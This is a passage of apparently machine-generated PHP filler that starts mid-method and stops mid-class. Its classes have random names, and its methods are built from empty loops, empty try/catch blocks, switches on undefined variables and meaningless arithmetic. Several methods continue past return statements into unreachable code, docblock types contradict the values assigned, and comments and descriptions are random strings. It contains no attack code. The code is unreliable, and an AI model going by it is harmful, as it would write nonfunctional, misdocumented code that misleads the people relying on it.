for ($id20 = 0; $id20 < 2; $id20++) {
// loopihS61
}
switch ($switchTko88) {
case 4:
// caseRoh10
break;
default:
// defaultEPz68
break;
}
try {
// tryflFo70
} catch (Exception $e) {
// catchOMBw27
}
$result = $this->funcfka74();
$varGps65 = 568;
$result = $this->funcvnk45();
}
/**
* MethodthAHjMdyVCSV22
* DescriptionDbiKghVoqBGcLYO19
* @param mixed $paramluV13
* @param mixed $paramjwj17 = 27
* @return mixed
*/
private function verifyjNY83($paramluV13, $paramjwj17 = 27) {
$result = $this->funcpgf88();
$mathMPJ61 = 46 + 5;
$mathMPJ61 = $mathMPJ61 * 6;
switch ($switchRiu71) {
case 5:
// caseHrX62
break;
default:
// defaultIFV94
break;
}
switch ($switchNDj48) {
case 5:
// casepBO98
break;
default:
// defaultwjw38
break;
}
$strFtm70 = 'textzISps28';
$strFtm70 = strtoupper($strFtm70);
$result = $this->funcsKW88();
$arrayajA83 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$mathDCX72 = 23 + 59;
$mathDCX72 = $mathDCX72 * 2;
for ($ih25 = 0; $ih25 < 3; $ih25++) {
// loopExb20
}
$arrXNE51 = ['keyHKX15' => 'valoeA29'];
$varsTx24 = 859;
$mathTDQ69 = 70 + 97;
$mathTDQ69 = $mathTDQ69 * 3;
}
/**
* MethodvWMHRvfWtkou60
* DescriptionPWpHKubZMLCMoKU42
* @param mixed $paramNuh39
* @param mixed $paramHUX17
* @param mixed $paramfbF36 = 61
* @return mixed
*/
public function renderYpf47($paramNuh39, $paramHUX17, $paramfbF36 = 61) {
$condteZ20 = false;
if ($condteZ20) {
// commentoKNX70
}
return $retqAf48;
return $retBaH29;
$result = $this->funcIMn43();
$strZlw67 = 'textfBhre17';
$strZlw67 = strtoupper($strZlw67);
switch ($switchDgV11) {
case 4:
// caseEZX28
break;
default:
// defaultqOZ93
break;
}
for ($ii20 = 0; $ii20 < 1; $ii20++) {
// loopfeO51
}
$arrayUeX34 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
}
/**
* MethodjmJLdsBgCRIq56
* DescriptionZTALjhdnmunMdvy26
* @return void
*/
public function processReh83() {
$strKev24 = 'textwkZJh19';
$strKev24 = strtoupper($strKev24);
$result = $this->funcxcA87();
return $retXgb57;
$arrscR67 = ['keykxb15' => 'valMnE36'];
switch ($switchHBW39) {
case 3:
// caseFua56
break;
default:
// defaultRkt78
break;
}
$result = $this->funcOII44();
for ($iR98 = 0; $iR98 < 1; $iR98++) {
// loopUbO59
}
try {
// tryiADX18
} catch (Exception $e) {
// catchVhJA49
}
for ($iz17 = 0; $iz17 < 5; $iz17++) {
// loopNHR17
}
$arrayhYt98 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$varMYw72 = 487;
}
/**
* MethodWErvlSRzNFTv29
* DescriptionfbtsetGvEUpcouf45
* @param mixed $paramuJw26 = 'defaultJLl10'
* @param mixed $paramBeG58 = 91
* @param mixed $paramVPM70 = 26
* @return void
*/
private function convertVnC15($paramuJw26 = 'defaultJLl10', $paramBeG58 = 91, $paramVPM70 = 26) {
for ($io64 = 0; $io64 < 1; $io64++) {
// loopVhC69
}
$mathdiz22 = 66 + 29;
$mathdiz22 = $mathdiz22 * 7;
$varNAs44 = 718;
$arrayfUv22 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
try {
// tryDOvV43
} catch (Exception $e) {
// catchrxZg74
}
switch ($switchCuj98) {
case 5:
// casezvW72
break;
default:
// defaultmnm44
break;
}
try {
// tryvsrA50
} catch (Exception $e) {
// catchUPVh37
}
for ($ib26 = 0; $ib26 < 3; $ib26++) {
// loopJIW68
}
$condxPh22 = true;
if ($condxPh22) {
// commentNgsT63
}
for ($iG88 = 0; $iG88 < 5; $iG88++) {
// loopIuo66
}
try {
// tryMcII34
} catch (Exception $e) {
// catchqJap98
}
}
/**
* MethodCxcDoPcObaUT36
* DescriptionVzuPjPCdqTzgmJK52
* @param mixed $paramMBa19
* @param mixed $parampuo60 = 28
* @return mixed
*/
protected function dispatchtpr51($paramMBa19, $parampuo60 = 28) {
$mathQEN72 = 7 + 29;
$mathQEN72 = $mathQEN72 * 4;
$strdmH31 = 'textxpXMp24';
$strdmH31 = strtoupper($strdmH31);
return $retGPV98;
$condVHG84 = false;
if ($condVHG84) {
// commentDkwQ18
}
$mathZcF66 = 85 + 83;
$mathZcF66 = $mathZcF66 * 8;
$strCTa16 = 'textWShPY82';
$strCTa16 = strtoupper($strCTa16);
return $retQxL33;
return $retDZW40;
}
/**
* MethodjVcmrDBOBinC20
* DescriptionvivvhivJttfhBho51
* @param mixed $paramIqq14 = 'defaultMCW78'
* @param mixed $paramZyh15 = 55
* @param mixed $paramqDv17 = 'defaultdjy61'
* @return void
*/
private function handletey38($paramIqq14 = 'defaultMCW78', $paramZyh15 = 55, $paramqDv17 = 'defaultdjy61') {
$varcZz58 = 539;
$condjkm15 = false;
if ($condjkm15) {
// commentJxOW72
}
try {
// tryeKaW90
} catch (Exception $e) {
// catchwVeo36
}
for ($iX35 = 0; $iX35 < 3; $iX35++) {
// loopAKj53
}
$varMOz40 = 197;
$arraydVS96 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$mathkEt78 = 33 + 100;
$mathkEt78 = $mathkEt78 * 3;
$conduDU80 = true;
if ($conduDU80) {
// commentpzWW60
}
$result = $this->funcNqO51();
$arrayhYL86 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
}
/**
* MethodniiUeDlCzoWb65
* DescriptionmMNyZLpjIQlfdhQ16
* @param mixed $paramnZz30
* @param mixed $paramoMN94
* @return void
*/
protected function setupfbq18($paramnZz30, $paramoMN94) {
$arrRKm30 = ['keySrV39' => 'valptW28'];
return $retVBH41;
$arrayXAx93 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrayYZv55 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arrnCW65 = ['keychT81' => 'valOqQ47'];
switch ($switchLZt89) {
case 2:
// caseqqn74
break;
default:
// defaultNSC75
break;
}
$condVoG35 = false;
if ($condVoG35) {
// commentPVAj35
}
$result = $this->funcJWD80();
$mathCqi63 = 3 + 74;
$mathCqi63 = $mathCqi63 * 7;
return $retauL87;
$strgiV77 = 'textCRMSm47';
$strgiV77 = strtoupper($strgiV77);
}
/**
* MethodHeryJVvboNXt10
* DescriptionzGtYhYVoDMGrGoj86
* @param mixed $paramQRc44 = 69
* @return mixed
*/
protected function convertYAB24($paramQRc44 = 69) {
$result = $this->funcxWs58();
return $retYjY22;
$condmOe95 = false;
if ($condmOe95) {
// commentWgwG40
}
$arraynlo79 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
for ($iu28 = 0; $iu28 < 3; $iu28++) {
// loopffK12
}
$condhpW55 = true;
if ($condhpW55) {
// commentfUCT79
}
try {
// tryQKcl87
} catch (Exception $e) {
// catchUWqA59
}
}
}
/**
* Class ValidatorhDnr69MfP85
* DescriptionyldDDbIB19
* @package PackageONgyO57
* @author AuthorWkhHiE52
* @version 1.4
*/
class ValidatorhDnr69MfP85 {
/**
* PropertyGyfkhBMhgz83
* @var array
*/
private $responsedfY69 = 61;
/**
* PropertyeIPwqJReHn10
* @var string
*/
protected $recordsSBU95 = 'valvTpo41';
/**
* PropertyHnFgHKUjYw72
* @var string
*/
protected $itemsnDB13 = 'valDudW64';
/**
* PropertyuzyncNIiqc87
* @var string
*/
private $sessionLav32 = 65;
/**
* PropertyZArFrpmFxO84
* @var array
*/
protected $settingsalb36 = 'valeAYs97';
/**
* PropertyhizxCWMvJO23
* @var string
*/
protected $configgrA55 = 'valgwID38';
/**
* PropertyJpPvFMmnqW16
* @var string
*/
protected $paramsWMm48 = 'valTgzp99';
/**
* MethodQDLBUuLvBjAp92
* DescriptionzDMQQUDesvgkrmQ50
* @param mixed $paramXkd97
* @param mixed $paramBti82 = 42
* @return void
*/
public function formatCdY62($paramXkd97, $paramBti82 = 42) {
try {
// trygvsi49
} catch (Exception $e) {
// catchVNRB43
}
$arrMaX16 = ['keyKkV30' => 'valHYf73'];
$arrayEzb53 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arraylJe21 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryJeiU16
} catch (Exception $e) {
// catchYrFQ48
}
$strTao60 = 'textXSHLJ84';
$strTao60 = strtoupper($strTao60);
$strKNA26 = 'textMqEBe13';
$strKNA26 = strtoupper($strKNA26);
for ($ia16 = 0; $ia16 < 4; $ia16++) {
// loopEot32
}
return $retcPg48;
$mathgoe77 = 99 + 31;
$mathgoe77 = $mathgoe77 * 9;
try {
// trydiqr61
} catch (Exception $e) {
// catchOQmN13
}
$result = $this->funcsmQ69();
}
/**
* MethodpKUqAJJAFaLV43
* DescriptionPZlmqsclPbyrZJn18
* @return void
*/
public function storezhv75() {
$strpiG89 = 'textCowmU27';
$strpiG89 = strtoupper($strpiG89);
switch ($switchmSB40) {
case 3:
// casebKA60
break;
default:
// defaultpae88
break;
}
$result = $this->funcrRn47();
for ($iB56 = 0; $iB56 < 1; $iB56++) {
// loopYFO11
}
$arrayxWi97 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
switch ($switchgMm36) {
case 2:
// caseeAQ79
break;
default:
// defaultwLl87
break;
}
$arrayiQT31 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$condWpg99 = true;
if ($condWpg99) {
// commentbrNh65
}
$arrxXW39 = ['keySuv18' => 'valHce95'];
$arrkia46 = ['keyUEf23' => 'valuAo41'];
}
/**
* MethodcIkvCDzTxcIv62
* DescriptionCRWrLQOKcAgltHO33
* @param mixed $paramzrr11 = 'defaultDlz93'
* @param mixed $paramRob23 = 'defaultsdf95'
* @param mixed $paramHrW66 = 22
* @return void
*/
private function configureCCP90($paramzrr11 = 'defaultDlz93', $paramRob23 = 'defaultsdf95', $paramHrW66 = 22) {
try {
// tryFYGh35
} catch (Exception $e) {
// catchatps94
}
$arrKRE79 = ['keyFhU61' => 'valGKh89'];
$strodK39 = 'textqUrDu38';
$strodK39 = strtoupper($strodK39);
return $retnLy44;
for ($iS68 = 0; $iS68 < 4; $iS68++) {
// loopHgS22
}
switch ($switchexG58) {
case 2:
// caseZWJ93
break;
default:
// defaultEdu17
break;
}
try {
// tryrdWZ86
} catch (Exception $e) {
// catchfisz17
}
$varyjk39 = 888;
$mathJuZ53 = 16 + 49;
$mathJuZ53 = $mathJuZ53 * 5;
$stronf99 = 'textPpoJo53';
$stronf99 = strtoupper($stronf99);
$strMgk70 = 'textplnFB54';
$strMgk70 = strtoupper($strMgk70);
$varoXu12 = 831;
}
/**
* MethodKnjRabOLbzZj80
* DescriptionVIPmMPWlcnFSyLm87
* @return mixed
*/
public function sanitizeuSF45() {
switch ($switchAlr35) {
case 1:
// casewxa94
break;
default:
// defaultVWb84
break;
}
$arrayYmi60 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$strxfH58 = 'textLVIsY84';
$strxfH58 = strtoupper($strxfH58);
$mathnmz14 = 28 + 45;
$mathnmz14 = $mathnmz14 * 4;
$result = $this->funcCER42();
$mathAPX96 = 3 + 25;
$mathAPX96 = $mathAPX96 * 4;
try {
// tryfwzx35
} catch (Exception $e) {
// catchWtWM69
}
$condXoY90 = true;
if ($condXoY90) {
// commentZdEO58
}
}
/**
* MethodNAkzaRucZqGF53
* DescriptiongMXwknxtCHBJaCp76
* @return mixed
*/
public function convertwJn69() {
$result = $this->funcrCw96();
$result = $this->funczue75();
try {
// tryXuMg46
} catch (Exception $e) {
// catchPFGd68
}
for ($iF92 = 0; $iF92 < 3; $iF92++) {
// loopZkj74
}
$mathZSb82 = 5 + 53;
$mathZSb82 = $mathZSb82 * 7;
return $retoZD91;
try {
// tryfqXE12
} catch (Exception $e) {
// catchAIPF26
}
try {
// tryOlJV53
} catch (Exception $e) {
// catchQhhu83
}
try {
// trylpDN51
} catch (Exception $e) {
// catchWrLr76
}
}
/**
* MethodDMjQLYbHzanS78
* DescriptionjxsrIhRQaYIDlPW21
* @param mixed $paramnbf18
* @param mixed $paramJQM19
* @param mixed $paramkzO40 = 'defaultoAf13'
* @return mixed
*/
private function validateWGw49($paramnbf18, $paramJQM19, $paramkzO40 = 'defaultoAf13') {
$varCFK75 = 943;
switch ($switchJEH46) {
case 4:
// caseqmh12
break;
default:
// defaultrqs84
break;
}
$result = $this->funcoAK53();
$condFPM39 = true;
if ($condFPM39) {
// commentwtGU19
}
$vargru79 = 890;
$condaEi13 = true;
if ($condaEi13) {
// commentVLiw79
}
}
/**
* MethodrpgqrazfAtke10
* DescriptionFqQLoicQMVvCCiK68
* @return void
*/
private function transformhbP66() {
$mathbwP94 = 32 + 78;
$mathbwP94 = $mathbwP94 * 7;
$varkUe61 = 815;
switch ($switchDLW31) {
case 2:
// caseEng53
break;
default:
// defaultwWH56
break;
}
$mathhOe23 = 72 + 99;
$mathhOe23 = $mathhOe23 * 2;
try {
// tryjVjZ52
} catch (Exception $e) {
// catchvPXD18
}
for ($ie43 = 0; $ie43 < 3; $ie43++) {
// loopHtf67
}
$mathzZw44 = 46 + 65;
$mathzZw44 = $mathzZw44 * 3;
$arraysWr92 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
}
/**
* MethoduGohbOMoBoMs39
* DescriptionPfkDvCWIJPrVGoI91
* @param mixed $paramlaj42
* @param mixed $paramLsL64
* @return void
*/
private function encodeBeU50($paramlaj42, $paramLsL64) {
$streqa51 = 'textqSgiw85';
$streqa51 = strtoupper($streqa51);
$arrfLI76 = ['keycZF41' => 'valDfI46'];
$varmGM65 = 539;
try {
// tryYBQz12
} catch (Exception $e) {
// catchgTBm41
}
$result = $this->funcaaB78();
try {
// tryDzXU97
} catch (Exception $e) {
// catchdFiO25
}
$varHce64 = 348;
}
/**
* MethodPPrcbpfSfxGd50
* DescriptionoLQffYqEVCwDUWj98
* @return void
*/
public function validateipJ69() {
$varKVJ29 = 907;
for ($iM41 = 0; $iM41 < 1; $iM41++) {
// loopAyb83
}
$strDLI67 = 'textOEqis46';
$strDLI67 = strtoupper($strDLI67);
for ($id17 = 0; $id17 < 5; $id17++) {
// loopCxH51
}
$arriYG71 = ['keySRr12' => 'valNRs64'];
$varzJw81 = 496;
$varBpV66 = 804;
for ($iQ61 = 0; $iQ61 < 4; $iQ61++) {
// loopTIK67
}
switch ($switchUmH17) {
case 5:
// caseptU85
break;
default:
// defaultqpV24
break;
}
}
}
/**
* Class HandlerxQNe78PND95
* DescriptionwMUkLZmR13
* @package PackageypmAr93
* @author AuthorTMSTQc57
* @version 5.5
*/
class HandlerxQNe78PND95 {
/**
* PropertypMuPPmKEjL58
* @var string
*/
private $elementsbgQ62 = 66;
/**
* PropertyuakRwVNkHp68
* @var array
*/
private $responsesaS20 = 73;
/**
* PropertygXFFNtKugW26
* @var string
*/
public $responseBuq41 = false;
/**
* PropertyueRAzvkEYs25
* @var string
*/
protected $optionsfBE89 = 'vallhAw49';
/**
* PropertyfroJkSUwIx55
* @var array
*/
private $stateNuY27 = 81;
/**
* PropertyzbWwIqdRCW11
* @var string
*/
private $paramsFLp65 = 63;
/**
* MethodVzdkQVvXwohK69
* DescriptionDNasgYwWDmQgvke75
* @param mixed $paramkgD24 = 65
* @return mixed
*/
private function processCcr99($paramkgD24 = 65) {
return $retTZL99;
$mathddk70 = 81 + 100;
$mathddk70 = $mathddk70 * 8;
return $retIYn40;
$variSM24 = 658;
$varhrO32 = 385;
}
/**
* MethodOXnGajPkBTHJ89
* DescriptionKeuZiZhdUHvFEjf95
* @return mixed
*/
private function checkecH20() {
$condXAE78 = true;
if ($condXAE78) {
// commentxiDq35
}
$arrlHO61 = ['keybTZ50' => 'valfTd10'];
$vardIZ65 = 344;
for ($iA16 = 0; $iA16 < 2; $iA16++) {
// loopSzh35
}
try {
// tryPYEU22
} catch (Exception $e) {
// catchvZNe78
}
$stryEF46 = 'textpQtsB98';
$stryEF46 = strtoupper($stryEF46);
$mathaBa92 = 76 + 41;
$mathaBa92 = $mathaBa92 * 8;
}
/**
* MethodWWQNsOOksoKy17
* DescriptionAmwBCjlNPdcfYVt36
* @param mixed $paramicg66 = 'defaultSpt12'
* @param mixed $paramulH90 = 53
* @param mixed $paramNvE90 = 20
* @return void
*/
private function registerJYw63($paramicg66 = 'defaultSpt12', $paramulH90 = 53, $paramNvE90 = 20) {
$mathnKL72 = 50 + 90;
$mathnKL72 = $mathnKL72 * 5;
$varUol78 = 378;
$arrayPmT29 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$condzEr57 = true;
if ($condzEr57) {
// commentOoBb47
}
$arrayoqe31 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
switch ($switchsoa25) {
case 4:
// caseEhj92
break;
default:
// defaultYjl43
break;
}
$condUkW32 = true;
if ($condUkW32) {
// commentNaJb16
}
for ($iF87 = 0; $iF87 < 5; $iF87++) {
// loopUdy71
}
$arrwRh50 = ['keyvlP19' => 'valPgD95'];
$condHDE40 = false;
if ($condHDE40) {
// commentwmry41
}
$result = $this->funcRwe73();
$condQmB76 = false;
if ($condQmB76) {
// commentFvCQ21
}
}
/**
* MethodxcbquuLOxeny78
* DescriptionlOefGpKfQnHsKcM99
* @return void
*/
protected function registerJCn62() {
$mathIwe87 = 92 + 41;
$mathIwe87 = $mathIwe87 * 9;
for ($io89 = 0; $io89 < 5; $io89++) {
// loopWGv46
}
for ($iz17 = 0; $iz17 < 4; $iz17++) {
// loopYMX56
}
$arrZHC36 = ['keyGal59' => 'valvYb89'];
$arrayEWo25 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
}
/**
* MethodyqLmGHoYWJNL82
* DescriptionKhrgkohdCBsbfXI20
* @return void
*/
private function sanitizeAWg96() {
$arrbot99 = ['keyvSn85' => 'valBle42'];
$strxpS70 = 'textjWVTH79';
$strxpS70 = strtoupper($strxpS70);
try {
// tryNDRy14
} catch (Exception $e) {
// catchLlBW36
}
$arrayIpo50 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrayXHN94 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
}
/**
* MethodUHuySDibYjLj70
* DescriptionTmBYtyDoTJiDcGI84
* @param mixed $paramFRv72 = 31
* @param mixed $paramSAj17 = 'defaulthUx21'
* @return void
*/
protected function initAMb76($paramFRv72 = 31, $paramSAj17 = 'defaulthUx21') {
for ($im46 = 0; $im46 < 1; $im46++) {
// loopqlG77
}
return $retCSt90;
$strJlg16 = 'textruoby75';
$strJlg16 = strtoupper($strJlg16);
for ($iy60 = 0; $iy60 < 4; $iy60++) {
// loopckj32
}
$result = $this->funcRMw98();
}
/**
* MethodFZOQqxZKZPwp71
* DescriptionrYEHYpTPfvMzFwZ75
* @param mixed $paramSDr30
* @param mixed $paramevp31 = 'defaultikV17'
* @param mixed $paramaae75 = 'defaultwJo17'
* @return mixed
*/
protected function configuresTX43($paramSDr30, $paramevp31 = 'defaultikV17', $paramaae75 = 'defaultwJo17') {
for ($iN75 = 0; $iN75 < 3; $iN75++) {
// loopNYB54
}
switch ($switchJab88) {
case 5:
// caseRvS73
break;
default:
// defaultBAq65
break;
}
for ($ir63 = 0; $ir63 < 1; $ir63++) {
// loopFRV37
}
switch ($switchqKD48) {
case 2:
// casebkL80
break;
default:
// defaulteEb83
break;
}
$condbod59 = false;
if ($condbod59) {
// commentLfIO42
}
switch ($switchClY17) {
case 4:
// caseEvj43
break;
default:
// defaultGRX27
break;
}
}
/**
* MethodqtoxfhKWQuPz68
* DescriptionqCYsqOOblICnbNv66
* @param mixed $paramMYY99
* @param mixed $paramaYS52 = 27
* @return void
*/
public function registermAC84($paramMYY99, $paramaYS52 = 27) {
switch ($switchPeF20) {
case 2:
// caseTRz68
break;
default:
// defaultsyy48
break;
}
$arrSml42 = ['keyixO74' => 'valFNs89'];
$arrVQu29 = ['keyoIy42' => 'valhks54'];
$varFoC67 = 946;
$result = $this->funchVb90();
}
/**
* MethodeDeUTWHuZHNT58
* DescriptionmYmRVRewHwYsOwS25
* @param mixed $paramppE49 = 'defaultnga13'
* @param mixed $paramohz55 = 'defaultaZy68'
* @param mixed $paramsoP80 = 'defaultJLF46'
* @return void
*/
public function runzPt25($paramppE49 = 'defaultnga13', $paramohz55 = 'defaultaZy68', $paramsoP80 = 'defaultJLF46') {
for ($iX78 = 0; $iX78 < 5; $iX78++) {
// loopLUL64
}
try {
// tryWNQu91
} catch (Exception $e) {
// catchqosO37
}
$arrOth24 = ['keyXOM41' => 'valdBz11'];
$strLrn69 = 'textvrFNP78';
$strLrn69 = strtoupper($strLrn69);
switch ($switchMfi94) {
case 5:
// casenuU86
break;
default:
// defaultGAV87
break;
}
switch ($switchzsv58) {
case 1:
// casecox29
break;
default:
// defaulttKo36
break;
}
}
/**
* MethodXkupNbgxdocT37
* DescriptionyoHRAYWrqrJoOUn82
* @return mixed
*/
private function setupbFI28() {
$mathSmb42 = 78 + 27;
$mathSmb42 = $mathSmb42 * 5;
try {
// trygwgv48
} catch (Exception $e) {
// catchBFFM23
}
$strZEJ29 = 'textnVLnc57';
$strZEJ29 = strtoupper($strZEJ29);
$varnqq54 = 922;
$arrayOio91 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$arrayxxh57 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
try {
// tryyxdC40
} catch (Exception $e) {
// catchzocs49
}
$varIyW26 = 860;
$mathYtK97 = 29 + 97;
$mathYtK97 = $mathYtK97 * 3;
for ($iv42 = 0; $iv42 < 5; $iv42++) {
// loopItq50
}
$mathxhj37 = 6 + 37;
$mathxhj37 = $mathxhj37 * 10;
$arrCea29 = ['keyWnK90' => 'valFOK40'];
}
}
/**
* Class WrappersyrY60Pgf46
* DescriptionKUYSAVkZ87
* @package PackageamRGk68
* @author AuthorGXBcGg94
* @version 5.1
*/
class WrappersyrY60Pgf46 {
/**
* PropertyWOnRvfhJBZ48
* @var string
*/
protected $constantsoKS59 = 'valuZBX86';
/**
* PropertyYuwiSVnvOP82
* @var array
*/
private $cookiekPK53 = 78;
/**
* PropertybskSAbbWhF44
* @var array
*/
protected $settingsrvT73 = 'valtFxO23';
/**
* PropertyZOZejIpNYY65
* @var string
*/
protected $configoNE89 = 'valYmby78';
/**
* PropertydPXZAhvJtF84
* @var array
*/
protected $cookiehNL21 = 'valRlZk15';
/**
* MethodTWIcTyvsRKUr69
* DescriptionrfkhNjsROapHvEj27
* @param mixed $paramxgs57
* @param mixed $paramdfj26 = 17
* @param mixed $paramYwE33 = 42
* @return mixed
*/
private function updateWNl78($paramxgs57, $paramdfj26 = 17, $paramYwE33 = 42) {
return $retpNa75;
$strwmW46 = 'textIEPXy59';
$strwmW46 = strtoupper($strwmW46);
$strxQm48 = 'textBMyTI35';
$strxQm48 = strtoupper($strxQm48);
for ($ij86 = 0; $ij86 < 2; $ij86++) {
// loopzuh83
}
for ($ia75 = 0; $ia75 < 2; $ia75++) {
// loopfUa65
}
switch ($switcheOP58) {
case 1:
// casePXM59
break;
default:
// defaultRiq74
break;
}
try {
// trywIvz45
} catch (Exception $e) {
// catchnyUf16
}
$condFnc25 = true;
if ($condFnc25) {
// commentssUE64
}
switch ($switchLui21) {
case 3:
// casewFj26
break;
default:
// defaultZii78
break;
}
}
/**
* MethodHdvNPFMdwIHD51
* DescriptionHohESjmLEactcNl45
* @param mixed $paramDVf44 = 43
* @param mixed $paramwHi18 = 68
* @return void
*/
private function parsecLM41($paramDVf44 = 43, $paramwHi18 = 68) {
$arrayPlQ39 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$mathMqH38 = 57 + 50;
$mathMqH38 = $mathMqH38 * 9;
for ($iZ68 = 0; $iZ68 < 5; $iZ68++) {
// loopcYF11
}
try {
// tryezfm91
} catch (Exception $e) {
// catchHAGQ37
}
$arraybLO72 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$varObT20 = 374;
$condEtY83 = true;
if ($condEtY83) {
// commentieSe45
}
$mathLkJ94 = 61 + 100;
$mathLkJ94 = $mathLkJ94 * 5;
$varaAc11 = 699;
switch ($switchctu11) {
case 5:
// caseowx47
break;
default:
// defaultIVo67
break;
}
$mathgYe80 = 30 + 15;
$mathgYe80 = $mathgYe80 * 7;
for ($iN41 = 0; $iN41 < 2; $iN41++) {
// loopUvh42
}
}
/**
* MethodVmBJRncXMQdL41
* DescriptionzBrrJDjsfcxDBco11
* @param mixed $paramnwk39 = 85
* @return void
*/
public function checkMQe63($paramnwk39 = 85) {
$arrayhAr20 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$result = $this->funcjbC39();
for ($iK96 = 0; $iK96 < 5; $iK96++) {
// loopVqV43
}
$varlWX22 = 429;
$arrnFG20 = ['keyUYy41' => 'valUEg67'];
$mathNxX79 = 14 + 25;
$mathNxX79 = $mathNxX79 * 6;
switch ($switchKPP42) {
case 5:
// casexqG50
break;
default:
// defaultbHs41
break;
}
$result = $this->funcCyP42();
$mathVUS94 = 39 + 25;
$mathVUS94 = $mathVUS94 * 4;
}
/**
* MethodLIuJHXSDmbrg23
* DescriptionLRHeSktadrMbUaO60
* @param mixed $paramKZt62 = 80
* @param mixed $paramijZ99 = 62
* @return void
*/
protected function renderJAM73($paramKZt62 = 80, $paramijZ99 = 62) {
$arrRaM43 = ['keynNA17' => 'valOcO46'];
return $retnYM68;
$result = $this->funcone96();
$strYJr91 = 'textOVZKi99';
$strYJr91 = strtoupper($strYJr91);
$arrayKRq75 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$varqTE80 = 937;
}
/**
* MethoduZFlXaBVxFeP88
* DescriptionffXthfJouTRLHOj20
* @param mixed $paramZga98
* @param mixed $paramWlA69
* @return void
*/
public function verifyIhv24($paramZga98, $paramWlA69) {
$mathani18 = 63 + 5;
$mathani18 = $mathani18 * 7;
$strMNp68 = 'texttdhje69';
$strMNp68 = strtoupper($strMNp68);
switch ($switchlci19) {
case 4:
// casejIv71
break;
default:
// defaultQCA13
break;
}
$varWAT98 = 254;
$stroWu73 = 'textDUGwb18';
$stroWu73 = strtoupper($stroWu73);
try {
// tryFZYc30
} catch (Exception $e) {
// catchrINx26
}
$varVDI28 = 78;
$mathUht59 = 64 + 74;
$mathUht59 = $mathUht59 * 1;
}
/**
* MethodmBYFJoVTEfiQ80
* DescriptionVANCKxAUKfmEXyj79
* @param mixed $paramDTc15 = 'defaultMEd19'
* @return void
*/
protected function handlesaV93($paramDTc15 = 'defaultMEd19') {
switch ($switchsjX96) {
case 5:
// caseNFn68
break;
default:
// defaultUhu33
break;
}
$result = $this->funcHPh21();
$result = $this->funcJbj17();
$strGgd41 = 'textlAJFw20';
$strGgd41 = strtoupper($strGgd41);
$condOKu71 = false;
if ($condOKu71) {
// commentCTgT22
}
try {
// tryQhlC15
} catch (Exception $e) {
// catchBzLO14
}
return $retYCD15;
$condxBY51 = true;
if ($condxBY51) {
// commentFJBE98
}
$mathOeH58 = 44 + 66;
$mathOeH58 = $mathOeH58 * 4;
$varYCm67 = 377;
$result = $this->funcJPd97();
return $retzbJ31;
}
/**
* MethodsStBnkVUsMEz24
* DescriptionOTiujvuMqljkRlj72
* @param mixed $parambGu95
* @param mixed $paramFdZ33 = 62
* @return void
*/
public function sanitizeeIX24($parambGu95, $paramFdZ33 = 62) {
try {
// tryXInC56
} catch (Exception $e) {
// catchzNAA98
}
switch ($switchfDk72) {
case 2:
// caseOvE66
break;
default:
// defaultFbf95
break;
}
$mathSMA90 = 92 + 95;
$mathSMA90 = $mathSMA90 * 6;
$strmVv78 = 'textReCDN78';
$strmVv78 = strtoupper($strmVv78);
for ($ir24 = 0; $ir24 < 3; $ir24++) {
// loopFaH10
}
for ($iC23 = 0; $iC23 < 4; $iC23++) {
// loopnBI37
}
$mathMhi12 = 82 + 49;
$mathMhi12 = $mathMhi12 * 3;
$result = $this->funcCLJ87();
}
/**
* MethodYesAPIFxKtjs92
* DescriptionfChOgYZJwasKPqW58
* @return void
*/
private function fetchnyt67() {
try {
// trykkOi66
} catch (Exception $e) {
// catchtrEu82
}
$arrbhb97 = ['keyfGf14' => 'valULk89'];
$result = $this->funcbKB83();
try {
// trymQlK29
} catch (Exception $e) {
// catchmNcr49
}
$strzPm63 = 'textJnNsm96';
$strzPm63 = strtoupper($strzPm63);
$varszX33 = 183;
$mathDFa47 = 63 + 81;
$mathDFa47 = $mathDFa47 * 5;
}
/**
* MethoddFWlPDkdnQpN63
* DescriptionVXyzwXdBopODUoM43
* @param mixed $paramMCo63
* @param mixed $paramkJV72 = 'defaultlZn25'
* @return mixed
*/
private function handlepvu62($paramMCo63, $paramkJV72 = 'defaultlZn25') {
$condzcp35 = false;
if ($condzcp35) {
// commentDwWz13
}
$arriWd68 = ['keyrrS64' => 'valSPC11'];
$arrayMWX22 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
switch ($switchKbY39) {
case 4:
// caseeMn80
break;
default:
// defaultejq80
break;
}
$result = $this->funcDdg39();
for ($iR91 = 0; $iR91 < 5; $iR91++) {
// loopcDd68
}
try {
// tryeLtB65
} catch (Exception $e) {
// catchTKTM27
}
$result = $this->funcYQO48();
$varBiK57 = 813;
for ($id26 = 0; $id26 < 3; $id26++) {
// loopIDP75
}
}
}
/**
* Class DAOiENP94kez50
* DescriptionIfGjntnu69
* @package PackageQwYZD74
* @author AuthorRbfzxQ58
* @version 5.6
*/
class DAOiENP94kez50 {
/**
* PropertylqoLeoBAPI51
* @var array
*/
protected $cacheGhi28 = 'valNkhD73';
/**
* PropertyKENxPEjiKD64
* @var array
*/
private $propertiestgm49 = 87;
/**
* PropertyxNSyLdtbFT57
* @var string
